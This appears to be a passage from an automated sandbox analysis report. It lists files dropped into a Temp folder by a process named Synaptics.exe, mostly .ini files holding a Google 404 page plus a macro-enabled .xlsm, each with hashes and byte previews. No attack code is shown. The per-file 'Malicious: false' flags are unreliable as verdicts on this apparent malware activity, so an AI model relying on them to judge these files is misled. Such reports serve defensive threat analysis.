Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="L8Z-OYANLXejfCNDbuBrzg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\d4Hrgcsl.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\ddFiSLE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26239584856257
Encrypted:	false
SSDEEP:	24:bsF+04pSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+tp+pAZewRDK4mW
MD5:	47567877B6344584456FE8223EE5FF25
SHA1:	D2E359503A2952454D06042060B9A1A98263BAE0
SHA-256:	DAC6FDBCCAF1E44D7D3880BD646D27E06EDDF1DB85BA52F871709EB9949772C7
SHA-512:	8D1AE19CA6EFA342CB6E6AF020C78E2CB9B88B4289634BF39A9E4A8575947BCB144F6C0C235F9355F5BB0233BDF6832215986B3E1485711B5A5CB8B1517310C7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MBBl2VnRVB1KvpWAaozyBw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\dgBom9g.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.26613995382133
Encrypted:	false
SSDEEP:	24:bsF+0YnSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+5n+pAZewRDK4mW
MD5:	5BA6F39DF19EC71ECAFE4542447ADF40
SHA1:	0CBDEEF92F699EF2438B6DED7BF5C95187BE4404
SHA-256:	233E233E9CD2D2B771B8B89577A3A0C7C49C49FF21A2582F66039D9981917B58
SHA-512:	A110EF8587CAA17FAEB84D7C41B3452BF01ADB11994104A04DC51FEFD8FFEAB8127DA51AF3098349C5EB067A2B601823699BDBA8A324D11722992D78C17CEA5F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="p5_uyeQIwygOzfXNOD9j_A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\e11BkPG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.27637790397815
Encrypted:	false
SSDEEP:	24:bsF+0E4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+N4+pAZewRDK4mW
MD5:	AC184F581DF216DC1515921611ED6E3D
SHA1:	EED7CAB03677CC143CDA0B1742DE00DE6CD8051C
SHA-256:	2713DBDA40EAC006E1FEC7BED99BF8576BD49DE6B1ABE2A6D69F4FEAEB4A655A
SHA-512:	54DA94E87C5A85A5CB6969B7F0F6542323DE181E52760E6E27558FB9FDEB7ACEB820D06D2DBE2A548B088D5B7E43B9E19CDCF730E924B93A7AD45999194D8C4B
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Vwl5PeG6M_KN8JqJJvF8KA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\ezpWwgB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.255226018178114
Encrypted:	false
SSDEEP:	24:bsF+0ZDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+OD+pAZewRDK4mW
MD5:	DD0804017DE4F3D8E509F6AD624D4AD5
SHA1:	2E11F7C7279FFBCF9DE0F93D935295F9DC5ECBFE
SHA-256:	7C3155BDF96180677591350D3A1634BA58C79DA1B00155A1BF68F767FE960D4D
SHA-512:	A6B2D3AC24F0F56166771FCC36EEDF00F33D1B2F3D87D39FEBE6BEB67BBAE40A3FD25A5A69B6111AEA265B113197BAF72D611A44F8C839621D7AF546A3385530
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IIvk1ypPpokFnhZa5ZTLxQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\f2E63oF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2622907224933755
Encrypted:	false
SSDEEP:	24:bsF+0KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+F+pAZewRDK4mW
MD5:	78E6AA8F08913A4E6D1BC2F192E1694D
SHA1:	38990700FB9528363F553984A4DE1DF10D26E844
SHA-256:	64E3F17A19C502CA4A04449B082E0AF4F13B7031C8231928C08FAF8C89717368
SHA-512:	F6F0AF6673252FDFB39470DA466F562233306590439295F375F8ACA4F8DCE8FEFBE82630D9938B49114A7746A6DC7230765B504650000B8D0863AAE256130E07
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="r-QgQ_xhJFPp5QsDWPH9pQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\fFP7GH1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262147939678127
Encrypted:	false
SSDEEP:	24:bsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+i+pAZewRDK4mW
MD5:	CCD6A9630F01304924C99F38ED311483
SHA1:	CF36729B1BD4B997EA7CA776792FFF885F4A3D19
SHA-256:	510FF69E14A9912CA57154A4FC7CE21CD05062AF561DD92F859E16227D94F8C3
SHA-512:	F17FA29871C0E79E29D39414B71A514532614EC22E181C2AF5DBC1A6106B2FD1AE9E2E375638D95041232D929B3E3525BE1BB163FC65F22657DF32588B2A27C8
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UkWMrhMNrbt78QYR54i61Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\gP9avts.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264224308819497
Encrypted:	false
SSDEEP:	24:bsF+07wQZSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+m3+pAZewRDK4mW
MD5:	46DB1C1B478C43E3AC8129A00F227954
SHA1:	AC354365BB7733B8A51694717ACF031C1ADA2B17
SHA-256:	A84AAB19B8849AFBFD8AABFFA9312E3334F837988B3DCF8AE81C8D2726D9C2D4
SHA-512:	50216BBED9139DE80F7ADFC145F7BC9627DD868AF61CD5180FC1184F15BCE034DC431730C34282F77000FE570221337857A1EE0E913C4B8F0BE79602F6867E45
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="yDqZrTCuVxzDEXdZ9xrKnw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\hF8DpHR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.263119594436726
Encrypted:	false
SSDEEP:	24:bsF+0wOaSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+sa+pAZewRDK4mW
MD5:	6653FC605186C373F362FD21DFD86924
SHA1:	6F5467E3A7B2CB25033CCDF5C22249892F0EAF3A
SHA-256:	33F4761C021C4CC4CD8C49B077366C9427E6AD8EF8ADDFC1751F5631A1F898E0
SHA-512:	53646D1A48FA9330C5FAE2A3ADDB4A84EF0FEC7416989667B556444DB9F7A09AEBD9C58D02DDE15CADA0DA0DDA7D69E4A2715C0DBE004EEFFCCE76B9D8284316
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7pLfYmFJMUcIhA6B4aeeEw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\hXGJ9Wg.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.255465515472881
Encrypted:	false
SSDEEP:	24:bsF+06E3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Rw+pAZewRDK4mW
MD5:	466CE2F742820A7CFE3A7D38320803E4
SHA1:	8DD6D1DAF25F638795FBE3A03A076AD779A3E923
SHA-256:	BF373DAF63D2D58D82EB0BB9A9DD188A7CF0D4CB51AFD098DAAE7789E468DEC5
SHA-512:	328F1FE85D30B15077391786B7A6DA325F02824E2FD9D72B2C237DC4EEF817E5027F79B9F2CAF90B094ADDC782632C1370DD33F7878C7D75E282766E406FD166
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hni2X7EaqnP3xKX1nbOTbQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\j4o8P4Z.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.261479258041398
Encrypted:	false
SSDEEP:	24:bsF+0/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+0+pAZewRDK4mW
MD5:	A9D016DA85554EF6D96FBF2FF4163921
SHA1:	64D5F3E5BB5FCE781C02C1FF9E77DD613F3BB41B
SHA-256:	CA36D97A03977E1F05C22F063EE673594301A63EAB5808F17052F33B112F8C73
SHA-512:	DE1DD9EE897A86F6A5782E61538EFAC4E8F83172106E55D7C2394FAE49B8F4F4E941D27EF06E49151F8C26E6D9CC1EC56B0E623E056A1D202CC96055247B1D6F
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2qozPC0JlFI5uC6ytsxBBw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\k1BXGCG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.270117058245893
Encrypted:	false
SSDEEP:	24:bsF+084DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+UD+pAZewRDK4mW
MD5:	DAACA74478A109ADEE614F170CAB6484
SHA1:	C043D6B06C0DF06AFD7CC8229DF0040E3678E585
SHA-256:	A83D20E92C27789BF4E64F76DEDB6E054606D111116D95F32CD875EDBAE0B860
SHA-512:	90E6520C8A169E7ABA1587ABC08EEE7F8A0D1CB17572C071007869C74F0380B9F80FFD164CCF8BA1F6E60FFE70CD8CE417FF674A29579CA5888F021DFB0AF445
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_InJQPZEqSjErf6fctnK0Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\le54wpe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.248919692981184
Encrypted:	false
SSDEEP:	24:bsF+0VmYDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+/YD+pAZewRDK4mW
MD5:	79F8D8ECB396E7DCC46A76B5B5F9502B
SHA1:	8C1A7487E0E404F602929B60337160A9D310460E
SHA-256:	EA7949C6E3CEEF0658B403C44EF546943EBD7A524138D55229CCA383FF787FB9
SHA-512:	968F77A859BBE90AA6E5A6886CE171F3C47224D713F2ECDC1215B9AD5F06EAB7191DB58632E0B06986B2CA9E55E64D72619F7DB85E62EEF38C53F47AB8D007D4
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="c_ah2cyQ9thhot-DjtXEOw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\m4cpt1m.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.261248743280672
Encrypted:	false
SSDEEP:	24:bsF+0qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+5+pAZewRDK4mW
MD5:	810CE6981943417DC2CBA9A1A32511F2
SHA1:	C5EA87CF389F247B4C13A5E936C6249F1DA3D155
SHA-256:	EECBC84127FE5C09B5C6E0805B29DFF1836ADEDF3D5B9C5BFDD684925A77A980
SHA-512:	7EF71A7DF2CA6E5BB02DB1AA5CFFDD3CBBD18B5F61AE618CF0B6235D08DA8304411712CA95D27D2F1C83F42943B6FD3650EFDE8765FB26977BDF0A9D999A68C3
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="42fdKEwDWgYjcSLuw2rIUw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\nLniguv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.258512796273037
Encrypted:	false
SSDEEP:	24:bsF+0RSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+S+pAZewRDK4mW
MD5:	9894F689B73646C5CC6C3BF2FD778042
SHA1:	AC6362A5AA0BEBC0F6F53D1D9511986295A2EF48
SHA-256:	EF4181B73ECC622A837438DA0813DA13873D95FACFE53153D3366ABCC818255A
SHA-512:	8AE1A3A315F5FD172AD020801B3889FBD03B94CA91BDE154382506591BBC50F8E9F15D6FEFC33A7428C106B62DC9ED8BE39F69F748A7BF80E3B795FA1FDB9767
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="EMb4xd09MPe6xcuJy2iUAA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\np2MGyl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.254921562630012
Encrypted:	false
SSDEEP:	24:bsF+0sVcSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+fc+pAZewRDK4mW
MD5:	16B03357F2BCA27BAE4CDD9825C91F59
SHA1:	71E0653F3F0F008DC7CB8AF6B6A596B3DF96CE01
SHA-256:	45740847645A6A91543F09DC0DD1C0086471D35FEBB4317501511607CE31808E
SHA-512:	D597AED169868FE2C16C155B2ED5BC1719033F0B47E62F67AFDFF53EA1227D10E2D2FB516F1B9C3F5C97328A76215489697F66FB85AD52054AB2984AF83F7970
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pmVF_3-K04rKL0_d7TAckA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\pIXl9qi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
